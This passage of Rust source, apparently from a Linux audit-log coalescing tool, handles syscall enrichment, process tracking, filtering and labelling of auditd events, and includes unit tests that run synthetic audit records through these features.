argv.push(v.clone()); return false; } (Key::ArgLen(_), _) => return false, (Key::Common(Common::Arch), Value::Number(Number::Hex(n))) => { arch = Some(*n as u32); return !(self.settings.translate_universal && self.settings.drop_translated); } (Key::Common(Common::Syscall), Value::Number(Number::Dec(n))) => { syscall = Some(*n as u32); return !(self.settings.translate_universal && self.settings.drop_translated); } (Key::Common(Common::Pid), Value::Number(Number::Dec(n))) => { pid = *n as u32; } (Key::Common(Common::PPid), Value::Number(Number::Dec(n))) => { ppid = *n as u32; } (Key::Common(Common::Comm), Value::Str(s, _)) => comm = Some(*s), (Key::Common(Common::Exe), Value::Str(s, _)) => exe = Some(*s), (Key::Common(Common::Key), Value::Str(s, _)) => key = Some(*s), (Key::NameUID(name), Value::Number(Number::Dec(n))) | (Key::NameGID(name), Value::Number(Number::Dec(n))) => { ids.collect(name, *n as _); if self.settings.drop_translated { return false; } } (Key::Name(name), Value::Str(_, _)) => { match name.as_ref() { b"ARCH" | b"SYSCALL" if self.settings.translate_universal => return false, _ => (), }; } _ => {} } true }); body.push((Key::Literal("ARGV"), Value::List(argv))); // Determine syscall. let mut arch_name = None; let mut syscall_name = None; if let (Some(arch), Some(syscall)) = (arch, syscall) { arch_name = ARCH_NAMES.get(&arch); if let Some(arch_name) = arch_name { syscall_name = SYSCALL_NAMES .get(*arch_name) .and_then(|syscall_tbl| syscall_tbl.get(&syscall)); if let Some(syscall_name) = syscall_name { if syscall_name.starts_with("execve") { *is_exec = true; } } } } let mut labels: HashSet> = HashSet::default(); if let Some(key) = key { if self.settings.filter_keys.contains(key) { *filter_event = true; } if self.settings.proc_label_keys.contains(key) { labels.insert(key.to_vec()); } } else if self.settings.filter_null_keys { *filter_event = true; } let mut proc = None; if !*is_exec { // Look up process from our process table, but only use it // if it matches the current record. Otherwise assume that // this is a new process. proc = self .state .processes .get_pid(pid) .filter(|p| p.pid == pid && p.ppid == ppid && p.exe.as_deref() == exe) } let mut first_per_process = false; if proc.is_none() { first_per_process = true; let key = ProcessKey::Event(id); let parent_process = self.state.processes.get_or_retrieve(ppid).cloned(); let parent = parent_process.as_ref().map(|p| p.key); self.state.processes.insert(Process { key, parent, pid, ppid, labels, exe: exe.map(Vec::from), comm: comm.map(Vec::from), ..Process::default() }); self.state.processes.relabel_process(&key, &self.settings); #[cfg(all(feature = "procfs", target_os = "linux"))] if self.settings.enrich_container || self.settings.enrich_systemd { let mut container_info: Option = None; let mut systemd_service: Option>> = None; let cgroup = procfs::parse_proc_pid_cgroup(pid).ok().flatten(); if self.settings.enrich_container { container_info = match cgroup { Some(ref path) => { proc::try_extract_container_id(path).map(|id| ContainerInfo { id }) } _ => self .state .processes .get_pid(ppid) .and_then(|p| p.container_info.clone()), }; } if self.settings.enrich_systemd { systemd_service = match cgroup { Some(ref path) => proc::try_extract_systemd_service(path), _ => None, }; } let new_proc = self.state.processes.get_key_mut(&key).unwrap(); new_proc.container_info = container_info; new_proc.systemd_service = systemd_service; } proc = self.state.processes.get_key(&key); } let proc = proc.unwrap(); if proc .labels .intersection(&self.settings.filter_labels) .any(|_| true) { *filter_event = true; } // TODO: This logic needs to be split. if first_per_process && !self.settings.filter_first_per_process { *filter_event = false; } *process_key = Some(proc.key); // No point in adding translations / enrichments to record if // we are going to filter anyway. if *filter_event { return; } if let (Some(arch_name), true) = (arch_name, self.settings.translate_universal) { let key = match &self.settings.enrich_prefix { Some(s) => Key::Name(NVec::from_iter(s.bytes().chain(b"arch".iter().cloned()))), None => Key::Literal("ARCH"), }; body.push((key, Value::Literal(arch_name))); } if let (Some(syscall_name), true) = (syscall_name, self.settings.translate_universal) { let key = match &self.settings.enrich_prefix { Some(s) => Key::Name(NVec::from_iter(s.bytes().chain(b"syscall".iter().cloned()))), None => Key::Literal("SYSCALL"), }; body.push((key, Value::Literal(syscall_name))); } if self.settings.enrich_pid { self.add_record_procinfo(body, b"pid", proc); if let Some(parent_process) = proc .parent .and_then(|key| self.state.processes.get_key(&key)) { self.add_record_procinfo(body, b"ppid", parent_process); } } if self.settings.translate_userdb { self.add_record_userdb(body, &ids); } if self.settings.enrich_uid_groups { if let Some(names) = ids .uid .and_then(|uid| self.state.userdb.get_user_groups(uid)) { body.push(( Key::Literal("UID_GROUPS"), Value::List(names.iter().map(|n| Value::from(n.as_bytes())).collect()), )); } } } /// Ingest a log line and add it to the coalesce object. /// /// Simple one-liner events are emitted immediately. /// /// For complex multi-line events (SYSCALL + additional /// information), corresponding records are collected. The entire /// event is emitted only when an EOE ("end of event") line for /// the event is encountered. pub fn process_line(&mut self, line: &[u8]) -> Result<(), CoalesceError> { let mut do_filter = self.settings.filter_raw_lines.is_match(line); let skip_enriched = self.settings.translate_universal && self.settings.translate_userdb; let mut msg = parse(line, skip_enriched).map_err(CoalesceError::Parse)?; let event_key = EventKey(msg.node.clone(), msg.id); // clean out state every EXPIRE_PERIOD match self.next_expire { Some(t) if t < msg.id.timestamp => { self.expire_inflight(msg.id.timestamp); self.expire_done(msg.id.timestamp); self.state.processes.expire(); self.next_expire = Some(msg.id.timestamp + EXPIRE_PERIOD) } None => self.next_expire = Some(msg.id.timestamp + EXPIRE_PERIOD), _ => (), }; let mut is_exec = false; let mut process_key = None; if msg.ty == MessageType::SYSCALL { self.handle_syscall( msg.id, &mut msg.body, &mut do_filter, &mut is_exec, &mut process_key, ); } if msg.ty == MessageType::EOE { if self.state.done.contains(&event_key) { return Err(CoalesceError::DuplicateEvent(msg.id)); } let ev = self .state .inflight .remove(&event_key) .ok_or(CoalesceError::SpuriousEOE(msg.id))?; self.emit_event(ev); } else if msg.ty.is_multipart() { // kernel-level messages if !self.state.inflight.contains_key(&event_key) { self.state .inflight .insert(event_key.clone(), Event::new(msg.node, msg.id)); } let ev = self.state.inflight.get_mut(&event_key).unwrap(); ev.is_filtered |= do_filter; ev.is_exec |= is_exec; if process_key.is_some() { ev.process_key = process_key; } match ev.body.get_mut(&msg.ty) { Some(EventValues::Single(v)) => v.extend(msg.body), Some(EventValues::Multi(v)) => v.push(msg.body), None => match msg.ty { MessageType::SYSCALL => { ev.body.insert(msg.ty, EventValues::Single(msg.body)); } MessageType::EXECVE | MessageType::PROCTITLE | MessageType::CWD => { ev.body.insert(msg.ty, EventValues::Single(msg.body)); } _ => { ev.body.insert(msg.ty, EventValues::Multi(vec![msg.body])); } }, }; } else { // user-space messages if self.state.done.contains(&event_key) { return Err(CoalesceError::DuplicateEvent(msg.id)); } let mut ev = Event::new(msg.node, msg.id); ev.is_filtered |= do_filter; ev.body.insert(msg.ty, EventValues::Single(msg.body)); self.emit_event(ev); } Ok(()) } /// Flush all in-flight event data, including partial events pub fn flush(&mut self) { self.expire_inflight(u64::MAX); } } impl Drop for Coalesce<'_, '_> { fn drop(&mut self) { self.flush(); } } #[cfg(test)] mod test { use super::*; use std::cell::RefCell; use std::error::Error; use std::io::{BufRead, BufReader}; use std::rc::Rc; fn event_to_json(e: &Event) -> String { let mut out = vec![]; crate::json::to_writer(&mut out, e).unwrap(); String::from_utf8_lossy(&out).to_string() } fn find_event<'a>(events: &'a [Event], id: &str) -> Option> { events.iter().find(|e| &e.id == id).cloned() } fn strip_enriched(text: T) -> Vec where T: AsRef<[u8]>, { let mut out = vec![]; for line in BufReader::new(text.as_ref()).lines() { let line = line.unwrap().clone(); for c in line.as_bytes() { match *c as char { '\x1d' => break, _ => out.push(*c), }; } out.push(b'\n'); } out } fn process_record(c: &mut Coalesce, text: T) -> Result<(), Box> where T: AsRef<[u8]>, { for line in BufReader::new(text.as_ref()) .lines() .filter(|line| match line { Ok(l) if l.is_empty() => false, Ok(l) if l.starts_with("#") => false, _ => true, }) { let mut line = line.unwrap().clone(); line.push('\n'); c.process_line(line.as_bytes())?; } Ok(()) } #[test] fn coalesce() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(Vec::new())); let mut c = Coalesce::new(mk_emit_vec(&ec)); process_record(&mut c, include_bytes!("testdata/line-user-acct.txt"))?; assert_eq!( ec.borrow().last().unwrap().id, EventID { timestamp: 1615113648981, sequence: 15220 } ); if process_record(&mut c, include_bytes!("testdata/line-user-acct.txt")).is_ok() { panic!("failed to detect duplicate entries"); }; process_record(&mut c, include_bytes!("testdata/record-execve.txt"))?; assert_eq!( ec.borrow().last().unwrap().id, EventID { timestamp: 1615114232375, sequence: 15558 } ); process_record(&mut c, include_bytes!("testdata/record-execve-long.txt"))?; assert_eq!( ec.borrow().last().unwrap().id, EventID { timestamp: 1615150974493, sequence: 21028 } ); process_record( &mut c, include_bytes!("testdata/record-anom-promiscuous.txt"), )?; let output = event_to_json(ec.borrow().last().unwrap()); assert!( output.contains(r#""saddr":"%10%00%00%00%00%00%00%00%00%00%00%00""#), "SOCKADDR.saddr blob is encoded correctly" ); // recordds do not begin with SYSCALL. process_record(&mut c, include_bytes!("testdata/record-login.txt"))?; process_record(&mut c, include_bytes!("testdata/record-adjntpval.txt"))?; process_record(&mut c, include_bytes!("testdata/record-avc-apparmor.txt"))?; let mut c = Coalesce::new(mk_emit_vec(&ec)); c.settings.translate_userdb = true; c.settings.drop_translated = true; process_record( &mut c, strip_enriched(include_bytes!("testdata/record-execve.txt")), )?; let gid0name = nix::unistd::Group::from_gid(0.into()) .unwrap() .unwrap() .name; let output = event_to_json(ec.borrow().last().unwrap()); println!("{output}"); assert!( output.contains(r#""UID":"root","#), "output contains translated UID" ); assert!( output.contains(&format!(r#""EGID":"{gid0name}","#)), "output contains translated EGID" ); assert!( !output.contains(r#""uid":0,"#), "output does not contain raw uid" ); assert!( !output.contains(r#""egid":0,"#), "output does not contain raw egid" ); assert!( output.contains(r#"NODE":"work","#), "node name is encoded correctly." ); Ok(()) } #[test] fn duplicate_uids() { let ec = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.enrich_uid_groups = false; c.settings.enrich_pid = false; c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record(&mut c, include_bytes!("testdata/record-login.txt")).unwrap(); if let EventValues::Multi(records) = &ec.borrow().as_ref().unwrap().body[&MessageType::LOGIN] { // Check for: pid uid subj old-auid auid tty old-ses ses res UID OLD-AUID AUID let l = records[0].len(); assert!( l == 12, "expected 12 fields, got {l}: {:?}", records[0].clone().into_iter().collect::>() ); } else { panic!("expected EventValues::Multi"); }; } #[test] fn keep_enriched_syscalls() { let ec = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); process_record(&mut c, include_bytes!("testdata/record-execve.txt")).unwrap(); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#""ARCH":"x86_64""#)); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#""SYSCALL":"execve""#)); } #[test] fn translate_uids() { let ec = Rc::new(RefCell::new(None)); let gid0name = nix::unistd::Group::from_gid(0.into()) .unwrap() .unwrap() .name; let mut c = Coalesce::new(|e: &Event| *ec.borrow_mut() = Some(e.clone())); c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record( &mut c, strip_enriched(include_bytes!("testdata/record-login.txt")), ) .unwrap(); if let EventValues::Single(record) = &ec.borrow().as_ref().unwrap().body[&MessageType::SYSCALL] { let mut uids = 0; let mut gids = 0; for (k, v) in record { if k.to_string().ends_with("UID") { uids += 1; assert!(v == "root", "Got {k}={v:?}, expected root"); } if k.to_string().ends_with("GID") { gids += 1; assert!(v == gid0name.as_str(), "Got {k}={v:?}, expected root"); } } assert!( uids == 5 && gids == 4, "Got {uids} uids/{gids} gids, expected 5/4", ); } if let EventValues::Multi(records) = &ec.borrow().as_ref().unwrap().body[&MessageType::LOGIN] { let mut uid = false; let mut old_auid = false; let mut auid = false; // UID="root" OLD-AUID="unset" AUID="root" for (k, v) in &records[0] { if k == "UID" && v == "root" { uid = true; } if k == "OLD-AUID" && v == "unset" { old_auid = true; } if k == "AUID" && v == "root" { auid = true; } } assert!( uid, "missing UID: {:?}", records[0].clone().into_iter().collect::>() ); assert!( old_auid, "missing OLD-AUID: {:?}", records[0].clone().into_iter().collect::>() ); assert!( auid, "missing AUID: {:?}", records[0].clone().into_iter().collect::>() ); } else { panic!("expected EventValues::Multi"); }; } #[test] fn translate_userdb_execve() { let ec = Rc::new(RefCell::new(None)); let gid0name = nix::unistd::Group::from_gid(0.into()) .unwrap() .unwrap() .name; let mut c = Coalesce::new(|e: &Event| *ec.borrow_mut() = Some(e.clone())); c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record( &mut c, strip_enriched(include_bytes!("testdata/record-execve.txt")), ) .unwrap(); let j = event_to_json(ec.borrow().as_ref().unwrap()); println!("{j}"); assert!(j.contains(r#""OUID":"root""#)); assert!(j.contains(&format!(r#""OGID":"{gid0name}""#))); } #[test] fn translate_userdb_ptrace() { let ec = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(|e: &Event| *ec.borrow_mut() = Some(e.clone())); c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record( &mut c, strip_enriched(include_bytes!("testdata/record-ptrace.txt")), ) .unwrap(); let j = event_to_json(ec.borrow().as_ref().unwrap()); println!("{j}"); for u in &[ "AUID", "UID", "UID", "EUID", "SUID", "FSUID", "EUID", "SUID", "FSUID", "OAUID", "OUID", ] { assert!( j.contains(&format!(r#""{u}":"root"#)), "record does not contain {u}" ); } } #[test] fn enrich_uid_groups() { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.translate_userdb = false; c.settings.enrich_uid_groups = true; process_record(&mut c, include_bytes!("testdata/record-execve.txt")).unwrap(); assert!( event_to_json(ec.borrow().as_ref().unwrap()).contains(r#""UID_GROUPS":["#), "enrich.uid_groups is performed regardless of translate.userdb" ); } #[test] fn enrich_uringop() { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record(&mut c, include_bytes!("testdata/record-uringop.txt")).unwrap(); let output = event_to_json(ec.borrow().as_ref().unwrap()); println!("{output}"); assert!( output.contains(r#""URING_OP":"openat""#), "uring operations should be translated." ); assert!( output.contains(r#""UID":"root""#) && output.contains(r#""GID":"root""#) && output.contains(r#""EUID":"root""#) && output.contains(r#""SUID":"root""#) && output.contains(r#""FSUID":"root""#) && output.contains(r#""EGID":"root""#) && output.contains(r#""SGID":"root""#) && output.contains(r#""FSGID":"root""#), "*uid, *gid should be translated" ); // todo: pid, ppid } #[test] fn key_label() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings .proc_label_keys .insert(Vec::from(&b"software_mgmt"[..])); c.settings .proc_propagate_labels .insert(Vec::from(&b"software_mgmt"[..])); process_record(&mut c, include_bytes!("testdata/tree/00.txt"))?; { assert!( event_to_json(ec.borrow().as_ref().unwrap()) .contains(r#""LABELS":["software_mgmt"]"#), "process gets 'software_mgmt' label from key" ); } process_record(&mut c, include_bytes!("testdata/tree/01.txt"))?; { assert!( event_to_json(ec.borrow().as_ref().unwrap()) .contains(r#""LABELS":["software_mgmt"]"#), "child process inherits 'software_mgmt' label" ); } Ok(()) } #[test] fn label_exe() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let lm = LabelMatcher::new(&[("whoami", "recon")])?; let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_exe = Some(lm.clone()); process_record(&mut c, include_bytes!("testdata/record-execve.txt"))?; drop(c); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"LABELS":["recon"]"#)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_exe = Some(lm); process_record( &mut c, strip_enriched(include_bytes!("testdata/record-execve.txt")), )?; drop(c); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"LABELS":["recon"]"#)); Ok(()) } #[test] fn label_argv() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_argv = Some(LabelMatcher::new(&[( r#"^\S*java .* -Dweblogic"#, "weblogic", )])?); process_record(&mut c, include_bytes!("testdata/record-weblogic.txt"))?; assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"LABELS":["weblogic"]"#)); // Ensure this does not crash with long command lines // TODO: check matcher behavior let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_argv = Some(LabelMatcher::new(&[( r#"/opt/app/redacted/to/protect/the/guilty/"#, "protect-the-guilty", )])?); let buf = gen_long_find_execve(); process_record(&mut c, buf)?; assert!(event_to_json(ec.borrow().as_ref().unwrap()) .contains(r#"LABELS":["protect-the-guilty"]"#)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_argv = Some(LabelMatcher::new(&[ (r#"^/bin/echo "#, "echo"), // this should match. (r#"aaaaaaaaaa"#, "aaaa"), // this shouldn't. argv[1] is too long for the buffer. ])?); process_record(&mut c, include_bytes!("testdata/record-execve-long.txt"))?; assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"LABELS":["echo"]"#)); Ok(()) } // Returns an emitter function that puts the event into an Option fn mk_emit<'c, 'ev: 'c>( ec: &'c Rc>>>, ) -> impl FnMut(&Event<'ev>) + 'c { |ev: &Event| { if !ev.is_filtered { *ec.borrow_mut() = Some(ev.clone()); } } } // Returns an emitter function that appends the event onto a Vec fn mk_emit_vec<'c, 'ev>(ec: &'c Rc>>>) -> impl FnMut(&Event<'ev>) + 'c { |ev: &Event| { if !ev.is_filtered { ec.borrow_mut().push(ev.clone()); } } } #[test] fn filter_key() -> Result<(), Box> { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings .filter_keys .insert(Vec::from(&b"filter-this"[..])); c.settings.filter_keys.insert(Vec::from(&b"this-too"[..])); process_record(&mut c, include_bytes!("testdata/record-syscall-key.txt"))?; drop(c); // fist event for process -> don't filter assert!(events .borrow() .iter() .any(|e| &e.id == "1628602815.266:2365")); assert!(!events .borrow() .iter() .any(|e| &e.id == "1628602815.266:2366")); assert!(!events .borrow() .iter() .any(|e| &e.id == "1628602815.266:2367")); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings.filter_null_keys = true; process_record( &mut c, include_bytes!("testdata/record-syscall-nullkey.txt"), )?; drop(c); // not first event for process -> filter assert!(!events .borrow() .iter() .any(|e| &e.id == "1678282381.452:102337")); // fist event for process -> don't filter assert!(events .borrow() .iter() .any(|e| &e.id == "1678283440.683:225")); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings .filter_keys .insert(Vec::from(&b"random-filter"[..])); process_record(&mut c, include_bytes!("testdata/record-login.txt"))?; drop(c); assert!(!events.borrow().is_empty()); Ok(()) } #[test] fn filter_label() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.filter_first_per_process = true; c.settings .proc_label_keys .insert(Vec::from(&b"software_mgmt"[..])); c.settings .filter_labels .insert(Vec::from(&b"software_mgmt"[..])); c.settings .proc_propagate_labels .insert(Vec::from(&b"software_mgmt"[..])); process_record(&mut c, include_bytes!("testdata/tree/00.txt"))?; { assert!(ec.borrow().as_ref().is_none()); } process_record(&mut c, include_bytes!("testdata/tree/01.txt"))?; { assert!(ec.borrow().as_ref().is_none()); } process_record(&mut c, include_bytes!("testdata/record-login.txt"))?; { assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"/usr/sbin/cron"#)); } drop(c); Ok(()) } #[test] fn filter_raw() { for (name, filter) in &[ ("sockaddr", "^type=SOCKADDR (?:node=\\$*? )?msg=audit\\(\\S*?\\): saddr=01002F7661722F72756E2F6E7363642F736F636B657400"), ("syscall", "^type=SYSCALL (?:node=\\$*? )?msg=audit\\(.*?\\): arch=c000003e syscall=42 success=no"), ] { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings.filter_raw_lines = regex::bytes::RegexSet::new([ filter ]) .expect("failed to compile regex"); c.settings.filter_first_per_process = true; process_record(&mut c, include_bytes!("testdata/record-nscd.txt")).unwrap(); assert!( !events .borrow() .iter() .any(|e| &e.id == "1705071450.879:29498378"), "nscd connect event should be filtered using {name}" ) } } fn gen_long_find_execve() -> Vec { let mut buf = vec![]; let msgid = "1663143990.204:2148478"; let npath = 40000; buf.extend( format!(r#"type=SYSCALL msg=audit({msgid}): arch=c000003e syscall=59 success=yes exit=0 a0=1468e584be18 a1=1468e57f5078 a2=1468e584bd68 a3=7ffc3e352220 items=2 ppid=9264 pid=9279 auid=4294967295 uid=995 gid=992 euid=995 suid=995 fsuid=995 egid=992 sgid=992 fsgid=992 tty=(none) ses=4294967295 comm="find" exe="/usr/bin/find" key=(null) "#).bytes()); buf.extend( format!( r#"type=EXECVE msg=audit({msgid}): argc={} a0="/usr/bin/find" "#, npath + 9 ) .bytes(), ); for i in 1..npath { if i % 70 == 0 { buf.extend(format!("\ntype=EXECVE msg=audit({msgid}): ").bytes()); } else { buf.push(b' '); } buf.extend(format!(r#"a{i}="/opt/app/redacted/to/protect/the/guilty/output_processing.2022-09-06.{i:05}.garbage""#).bytes()); } for (i, param) in [ "-type", "f", "-mtime", "+7", "-exec", "/usr/bin/rm", "-f", "{}", ";", ] .iter() .enumerate() { buf.extend(format!(r#" a{}="{param}""#, npath + i).bytes()); } buf.extend(format!("\ntype=EOE msg=audit({msgid}): \n").bytes()); buf } #[test] fn strip_long_argv() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.execve_argv_limit_bytes = Some(10000); let buf = gen_long_find_execve(); process_record(&mut c, &buf)?; { let output = event_to_json(ec.borrow().as_ref().unwrap()); assert!(output.len() < 15000); assert!( output.contains(".00020.garbage"), "Can't find start of argv" ); assert!(output.contains(".39980.garbage"), "Can't find end of argv"); assert!( !output.contains(".20000.garbage"), "Should not see middle of argv" ); } Ok(()) } #[test] fn shell_proc_trace() { let s1 = Settings { proc_label_keys: [b"test-script".to_vec()].into(), proc_propagate_labels: [b"test-script".to_vec()].into(), ..Settings::default() }; let s2 = Settings { filter_keys: [b"fork".to_vec()].into(), filter_first_per_process: true, ..s1.clone() }; let s3 = Settings { filter_first_per_process: false, // default in 0.6.2+ ..s2.clone() }; for (n, s) in [s1, s2, s3].iter().enumerate() { let events: Rc>> = Rc::new(RefCell::new(vec![])); println!("Using configuration #{n}"); for (tn, text) in [ &include_bytes!("testdata/shell-proc-trace.txt")[..], &include_bytes!("testdata/shell-proc-trace-reordered.txt")[..], ] .iter() .enumerate() { let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings = s.clone(); process_record(&mut c, text).unwrap(); let events = events.borrow(); let mut present_and_label = vec![ "1682609045.526:29238", "1682609045.530:29242", "1682609045.530:29244", "1682609045.534:29245", ]; let mut absent = vec![]; match n { 0 => { present_and_label.extend([ "1682609045.530:29239", "1682609045.530:29240", "1682609045.530:29241", "1682609045.530:29243", ]); } 1 => { absent.extend([ "1682609045.526:29237", "1682609045.530:29239", "1682609045.530:29240", "1682609045.530:29241", "1682609045.530:29243", ]); } 2 => { // fork = first event in pid=71506 present_and_label.extend(["1682609045.530:29241"]); absent.extend([ "1682609045.530:29239", "1682609045.530:29240", "1682609045.530:29243", ]); } _ => {} }; for id in present_and_label { let event = find_event(&events, id).unwrap_or_else(|| panic!("Did not find {id}")); assert!( event_to_json(&event).contains(r#""LABELS":["test-script"]"#), "{id} was not labelled correctly (config {n} test {tn})." ); } for id in absent { if find_event(&events, id).is_some() { panic!("Found {id} though it should have been filtered (config {n} test {tn})."); } } } } } #[test] fn shell_proc_trace_confusion() { let s1 = Settings { proc_label_keys: [b"test-script".to_vec()].into(), proc_propagate_labels: [b"test-script".to_vec()].into(), ..Settings::default() }; let s2 = Settings { filter_keys: [b"fork".to_vec()].into(), ..s1.clone() }; for (n, s) in [s1, s2].iter().enumerate() { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings = s.clone(); println!("Using configuration #{n}"); process_record( &mut c, include_bytes!("testdata/shell-proc-trace-confusion.txt"), ) .unwrap(); let events = events.borrow(); for id in ["1697091525.582:2588684", "1697091526.357:2638035"] { let event = find_event(&events, id).unwrap_or_else(|| panic!("Did not find {id}")); println!("{}", event_to_json(&event)); } let id = "1697091526.357:2638035"; let event = find_event(&events, id).unwrap_or_else(|| panic!("Did not find {id}")); assert!( event_to_json(&event).contains( r#""PPID":{"EVENT_ID":"1697091526.357:2638033","comm":"csh","exe":"/bin/tcsh","ppid":2542}"#), "Did not get correct parent for {id}\n\n{}", event_to_json(&event)); println!("{}", event_to_json(&event)); } } /// Simulate restart + reading state /// /// After the process table has been primed with a parent process /// entry, half an event is read. The state is saved and /// transferred into a second Coalesce which reads the second half /// of the event. We expect ppid enrichment to work properly. #[test] fn state() { let settings = Settings { enrich_script: false, enrich_uid_groups: false, ..Settings::default() }; let mut saved_state = vec![]; { // coalesce 1 gets half an event let events: Rc>> = Rc::new(RefCell::new(vec![])); let event_id = EventID::from_str("1740869913.604:3976").expect("Can't parse event ID"); let mut c = Coalesce::new(mk_emit_vec(&events)).with_state(State { processes: ProcTable { current: { let mut m = BTreeMap::new(); m.insert(127727, ProcessKey::Event(event_id)); m }, processes: { let mut m = BTreeMap::new(); m.insert( ProcessKey::Event(event_id), Process { key: ProcessKey::Event(event_id), pid: 127727, ppid: 3432, ..Default::default() }, ); m }, }, ..State::default() }); c.settings = settings.clone(); process_record( &mut c, br#"type=SYSCALL msg=audit(1740992884.191:7058722): arch=c000003e syscall=59 success="yes" exit=0 a0=56037c8a09b0 a1=7ffe40c717e0 a2=560380740450 a3=fffffffffffffa68 items=3 ppid=127727 pid=1780659 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty="pts10" ses=3 comm="bash" exe="/usr/bin/bash" subj="unconfined" key=null type=EXECVE msg=audit(1740992884.191:7058722): argc=3 a0="/bin/bash" a1="--noediting" a2="-i" type=CWD msg=audit(1740992884.191:7058722): cwd="/home/user" type=PATH msg=audit(1740992884.191:7058722): item=0 name="/bin/bash" inode=393229 dev="fd:01" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" "#).expect("Error in parsing first half of event"); crate::json::to_writer(&mut saved_state, c.state()).expect("cant't serialize state"); } { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)).with_state( crate::json::from_reader(std::io::Cursor::new(&saved_state)) .expect("can't deserialize state"), ); c.settings = settings; process_record( &mut c, br#"type=PATH msg=audit(1740992884.191:7058722): item=1 name="/bin/bash" inode=393229 dev="fd:01" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=PATH msg=audit(1740992884.191:7058722): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=401532 dev="fd:01" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=EOE msg=audit(1740992884.191:7058722): "#).expect("Error in parsing second half of event"); let events = events.borrow(); for event in events.iter() { println!("{}", event_to_json(&event)); } let id = "1740992884.191:7058722"; let event = find_event(&events, id).unwrap_or_else(|| panic!("Did not find {id}")); assert!(event_to_json(&event).contains(r#"PPID":{"EVENT_ID":"1740869913.604:3976""#)); } } #[test] fn prelabel() { let settings = Settings { enrich_script: false, enrich_uid_groups: false, label_exe: LabelMatcher::new(&[("^/usr/bin/emacs(?:-nox|-pgtk)?", "emacs")]).ok(), proc_propagate_labels: [b"emacs".to_vec()].into(), ..Settings::default() }; let events: Rc>> = Rc::new(RefCell::new(vec![])); let event_id = EventID::from_str("1740869913.604:3976").expect("Can't parse event ID"); let mut c = Coalesce::new(mk_emit_vec(&events)) .with_settings(settings) .with_state(State { processes: ProcTable { current: { let mut m = BTreeMap::new(); m.insert(127727, ProcessKey::Event(event_id)); m }, processes: { let mut m = BTreeMap::new(); m.insert( ProcessKey::Event(event_id), Process { key: ProcessKey::Event(event_id), exe: Some(b"/usr/bin/emacs"[..].into()), comm: Some(b"emacs"[..].into()), pid: 127727, ppid: 3432, ..Default::default() }, ); m }, }, ..State::default() }); process_record( &mut c, br#"type=SYSCALL msg=audit(1740992884.191:7058722): arch=c000003e syscall=59 success="yes" exit=0 a0=56037c8a09b0 a1=7ffe40c717e0 a2=560380740450 a3=fffffffffffffa68 items=3 ppid=127727 pid=1780659 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty="pts10" ses=3 comm="bash" exe="/usr/bin/bash" subj="unconfined" key=null type=EXECVE msg=audit(1740992884.191:7058722): argc=3 a0="/bin/bash" a1="--noediting" a2="-i" type=CWD msg=audit(1740992884.191:7058722): cwd="/home/user" type=PATH msg=audit(1740992884.191:7058722): item=0 name="/bin/bash" inode=393229 dev="fd:01" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=PATH msg=audit(1740992884.191:7058722): item=1 name="/bin/bash" inode=393229 dev="fd:01" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=PATH msg=audit(1740992884.191:7058722): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=401532 